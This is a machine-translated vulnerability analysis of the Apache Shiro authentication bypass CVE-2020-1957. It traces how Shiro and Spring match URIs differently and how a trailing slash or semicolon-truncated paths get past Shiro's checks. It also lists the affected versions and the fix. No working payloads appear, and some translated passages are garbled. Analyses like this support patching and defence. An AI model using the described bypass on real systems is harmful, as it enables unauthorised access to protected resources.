Shulou(Shulou.com)05/31 Report--

This article will explain in detail how to understand the Apache Shiro permission bypass vulnerability CVE-2020-1957. The content of the article is of high quality, so the editor shares it for you as a reference. I hope you will have a certain understanding of the relevant knowledge after reading this article.

Vulnerability Analysis 1 introduction of Apache Shiro components

Apache Shiro is a powerful and easy-to-use Java security framework that performs authentication, authorization, password, and session management. With Shiro's easy-to-understand API, you can quickly and easily access any application, from the smallest mobile application to the largest network and enterprise application. Built-in Realm that can connect to a large number of secure data sources (also known as directories), such as LDAP, relational database (JDBC), INI-like text configuration resources, and property files.

2 vulnerability description

In the previous version of Apache Shiro 1.5.2, because the matching process of Shiro interceptor and requestURI is different from that of Web framework, attackers construct a special http request that can bypass the authentication of Shiro and access sensitive paths without authorization.

There are two ways to attack this vulnerability. The first one is applicable to Shiro.

Patch Analysis of version 1.5.0

Comparing the changes in Shiro 1.4.2 with Shiro 1.5.0, Shiro adds code to the org.apache.shiro.web.filter.PathMatchingFilter class to remove the / at the end of requestURI.

Shiro 1.4.2 Code Analysis

The incoming payload is first received by the server and passed to the Shiro interceptor for processing (the org.apache.shiro.web.servlet.OncePerRequestFilter#doFilter method serves as an entry).

Call the createSubject method to create the Subject, and call the execute method to enter the Shiro FilterChain.

Enter org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#

In the getChain method, you first get the request URI path, and then iterate to get the expression of the interceptor.

The focus here is on / hello/* expressions. The code enters the pathMatches method, and finally calls the org.apache.shiro.util.AntPathMatcher#doMatch method to match the incoming requestURI with the interceptor expression.

In the matching process, the interceptor expression and requestURI convert the string to the array with / as the separator, respectively, and determine whether the requestURI conforms to the interceptor expression matching form by iteratively matching the corresponding elements in the array.

If there is a wildcard * in the expression, the containsStar flag bit is assigned to true, enters the else if (patIdxEnd = = 0) judgment condition, and returns true.

Continue to follow the code, and a judgment will be made after the requestURI matches the interceptor expression, and the vulnerability is also caused by the condition of the judgment. If the Shiro interceptor expression does not end with / and requestURI ends with /, the judgment code returns false to indicate a match failure, bypassing Shiro authentication.

Follow up to the code that Spring processes URI, enter the org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#getHandlerInternal method, and get requestURI.

Enter the lookupHandlerMethod method, call the addMatchingMappings method, and get the Spring interceptor.

Enter the org.springframework.web.servlet.mvc.condition.PatternsRequestCondition#getMatchingCondition method to call the doMatch method to match the requestURI and interceptor expressions.

The Spring interceptor matching process is much the same as Shiro, converting strings to an array for matching.

Because Spring has an extra link, it does not return false directly after checking whether the interceptor expression ends with / requestURI. Instead, add / at the end of the interceptor expression and continue

Path.startsWith (this.pathSeparator)! = pattern.startsWith (this.pathSeparator)

Test, thus completing the match between the interceptor expression and requestURI.

The above attack method was fixed in Shiro version 1.5.0, but was bypassed twice. The bypass analysis is as follows.

Patch Analysis of Shiro version 1.5.1-> 1.5.2

Compare the changes in Shiro 1.5.1 with Shiro 1.5.2

In Shiro 1.5.2, URI parsing is performed before the decodeAndCleanUriString method, and request.getServletPath () and request.getPathInfo () are called to get ServletPath and PathInfo and path stitching.

Shiro 1.5.1 Code Analysis

Shiro 1.5.0-1.5.1 basically does not change during the authentication process. This paper mainly analyzes the utilization points of secondary bypass. Or start with org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain.

When obtaining the requestURI, the getRequestUri method is still called in the getPathWithinApplication method to parse and obtain the requestURI, but when the URI regularization is processed, the decodeAndCleanUriString method is called to decode the path and clean up the URI.

Enter the decodeAndCleanUriString method and find that this method truncates the incoming URI with a semicolon, clears the semicolon and the data after the semicolon, and returns the URI data before the semicolon, so as to change / a * b *.

Continue to follow into the decodeAndCleanUriString method of the Spring interceptor.

It can be found from the code that Spring handles the semicolon differently from Shiro. Spring will first obtain the location of the semicolon and detect whether / exists after the semicolon. If so, record the location of / in the slashIndex variable, and splice the data before the semicolon with the data after /, so as to change / a/b/c to / a/b/c. Returns the processed requestURI.

Because Spring differs from Shiro's decodeAndCleanUriString method, attackers can use semicolons to construct paths, bypass Shiro authentication, and match Spring's dynamic controllers.

4 loophole recurrence

Set up an Apache Shiro vulnerability environment, use the constructed payload to attack, and finally bypass authorization to access unauthorized resources. The effect is as shown below:

Normal access:

Apache Shiro 1.4.2 environment

Apache Shiro 1.5.1 environment

Scope of influence

Currently affected Apache Shiro versions:

Apache Shiro < 1.5.2

Repair suggestion

The latest version of Apache Shiro has fixed this vulnerability. Users affected by the vulnerability should download the latest version. Download link: http://shiro.apache.org/download.html

On Apache Shiro permissions to bypass the vulnerability CVE-2020-1957 how to understand how to share here, I hope the above content can be of some help to you, can learn more knowledge. If you think the article is good, you can share it for more people to see.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.